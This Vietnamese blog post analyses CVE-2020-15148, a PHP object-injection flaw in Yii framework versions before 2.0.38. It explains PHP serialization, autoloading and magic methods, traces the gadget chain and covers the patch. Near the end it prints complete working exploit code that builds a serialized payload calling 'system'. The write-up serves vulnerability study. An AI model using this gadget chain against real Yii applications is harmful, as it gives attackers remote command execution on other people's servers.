+1

Some way to RCE YII phần 1

CVE-2020-15148. RCE thông qua unserialize

CVE-2020-15148

Web sẽ xảy ra lỗ hổng nếu sử dụng framework yii phiên bản trước 2.0.38 và sử dụng hàm unserialize dữ liệu đầu vào của người dùng mà không kiểm tra trước.

image.png

Sơ qua về serialize và unserialize

serialize và unserialize được dùng để mô tả quá trình biến một object thành dạng dữ liệu có thể lưu trữ được và đọc ngược lại để lấy thông tin. Trong các ngôn ngữ lập trình hướng đối tượng thường sẽ có những hàm dùng để đọc ghi những đối tượng tương ứng với quá trình serialize và unserialize. Ví dụ như trong java có hàm writeObject và readObject hay trong PHP thì có hàm serialize và unserialize.

image.png

Dưới đây là một ví dụ về quá trình serialize và unserialize đơn giản:

image.png

Sơ lược về PHP autoload

Lỗi php serialize thường khá hay vì chain nó đa dạng dẫn đến impact gây nên cũng thiên biến vạn hóa. Một trong những cơ chế PHP advanced là autoload. Thay vì việc cần phải include hay require các file gây file php lớn thì cơ chế autoload được sinh ra nhằm hạn chế việc lập trình viên phải thêm rất nhiều class hay file vào phần đầu mỗi file.

Many developers writing object-oriented applications create one PHP source file per class definition. One of the biggest annoyances is having to write a long list of needed includes at the beginning of each script (one for each class).

PHP cung cấp cho chúng ta một cơ chế dùng để đăng ký function được gọi load class vào khi cần thông qua hàm spl_autoload_register .

The spl_autoload_register() function registers any number of autoloaders, enabling for classes and interfaces to be automatically loaded if they are currently not defined. By registering autoloaders, PHP is given a last chance to load the class or interface before it fails with an error.

Dưới đây là một ví dụ về cách sử dụng spl_autoload_register:

image.png

image.png

Có thể thấy ở trên, khi chạy chương trình class B chưa được định nghĩa, nên PHP đã gọi đến hàm myAutoloader để include file B.php đồng thời cũng là class B vào. Đến đây khi class đã được xác định thì có thể khởi tạo biến $myClass và gọi hàm hello. Để có thể làm rõ hơn flow code thì các bạn có thể debug để thấy tiến trình chạy của code. Vậy PHP autoload có liên quan gì đến serialize. Để có thể làm cho chain PHP có được impact mạnh cần nhiều class input đầu vào để có thể khai thác tối đa hàm đã có. Muốn khởi tạo được một class thì sẽ cần include hoặc require file chứa class đó hoặc nếu nếu có autoload thì đây sẽ là một điều kiện tuyệt vời để có được một chain đẹp

Một số magic method trong PHP

PHP có nhiều magic method, đây là những function được gọi trong một điều kiện đặc biệt nào đó. Ví dụ như __construct được gọi khi khởi tạo một đối tượng. __destruct được gọi khi một đối tượng được thu hồi khi kết thúc. __call được gọi khi truy cập vào một method mà class không có

Phân tích CVE

Quay trở lại phân tích CVE khi đã có một số kiến thức nền tảng sẽ dễ dàng hơn. Đầu tiên là việc cài đặt framework yii. Phiên bản lỗi version 2.0.37.

Xem bản diff code trên github có thể thấy được lỗi nằm trong class BatchQueryResult.

image.png

Vậy làm sau để có thể gọi hàm unserialze khởi tạo class BatchQueryResult?. Yii sử dụng tính năng autoload class, từ controller có thể gọi đến một class chưa được load lên. Trong file Yii.php có thể thấy hàm autoload đã được đăng ký thông qua spl_autoload_register vì vậy, khi controller gọi đến một class chưa được include thì autoload sẽ được gọi và load class đó lên.

image.png

image.png

Bước tiếp theo mình cài đặt một Controller chứa lỗi unserialze để bắt đầu debug và trace lỗi.

image.png

https://files.gitbook.com/v0/b/gitbook-legacy-files/o/assets%2F-MjYFv4oFlLT2NwPvbOu%2F-MlSkBG56I_qoMwH9zM4%2F-MlSlNytp4aiwK5jlb2b%2Fyii-21.PNG?alt=media&token=806f398c-4d3e-468f-9fa7-58519ea19e14

Review qua class có thể thấy được hàm __destruct là một hàm đặc biệt và gọi đến một hàm khác là reset

image.png

Tại hàm reset có thực hiện gọi hàm close của biến _dataReader. Từ đây chúng ta có nhiều hướng. Sử dụng một đối tượng có chứa hàm close hoặc sử dụng phương thức __call magic method của PHP. Sử dụng tính năng của VsCode có thể tìm các function __call nhanh chóng. Kết quả không ra quá nhiều hàm nên việc review tương đối nhanh

image.png

Kết quả tại lớp Generator có gọi đến format và tại đây có gọi đến call_user_func_array, một hàm khá đặc biệt để có thể gọi đến các hàm khác. Về căn bản thì hàm sẽ gọi đến một hàm khác với một danh sách tham số. Ở đây nếu danh sách tham số có thể khống chế được thì đã có thể RCE được. Tuy nhiên do hàm close của chúng ta không có tham số nên việc này cần gọi đến 1 hàm khác. Đến đây thì khá là clear rồi, việc cần làm là tìm một hàm có thực thi câu lệnh dẫn đến RCE như system, eval, call_user_func với tham số khống chế được. Tìm kiếm 1 class để có thể exploit tiếp thì thấy được class IndexAction.php với hàm run khá đơn giản và tham số có thể khống chế được

image.png

Hàm được sử dụng ở đây là call_user_func để có thể thực hiện RCE. Khống chế được tham số thì việc RCE khá đơn giản (Các biến này đều để dạng public nên dễ dàng truy nhập được để set giá trị). Phần cuối là viết lại chain để hoàn thiện exploit.

Code exploit:

// class BatchQueryResult
namespace yii\base;
class BaseObject{
}

namespace yii\db;
class BatchQueryResult extends \yii\base\BaseObject{
    private $_dataReader;
    public function __construct()
    {
        $this->_dataReader=new \Faker\Generator();
    }
}

// class IndexAction
namespace yii\rest;
class Action{
    public $checkAccess='system'; // func muốn gọi 
    public $id='dir'; // tham số truyền vào
}
class IndexAction extends Action{
}

// class Generator
namespace Faker;
class Generator{
    protected $formatters = array();
    public function __construct()
    {
        $this->formatters['close']=[(new \yii\rest\IndexAction()),"run"]; // close là tên hàm _dataReader gọi
    }
}

// exploit
use \yii\db\BatchQueryResult;
$payload=new BatchQueryResult();
print(base64_encode(serialize($payload))); // cần custom đoạn này để phù hợp với đầu vào

Kết quả cuối cùng:

image.png

Vá lỗi như nào

Từ bản diff code chúng ta có thể thấy class BatchQueryResult.php đã thêm hàm __wakeup throw ngay ra một exception để ngăn việc serialize. Tuy nhiên chain khác không được sửa, nên nếu tìm ra một đầu vào khác biết đâu chúng ta sẽ có được một CVE 😃)

Hồi kết

PHP object injection luôn là một thứ gì đó thử thách chúng ta vì mỗi một chain sẽ đem lại những kết quả khác nhau. Sau khi phân tích 1 day mình cũng biết thêm phần nào kiến thức về PHP object injection. Một số trick trong quá trình tìm kiếm.


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí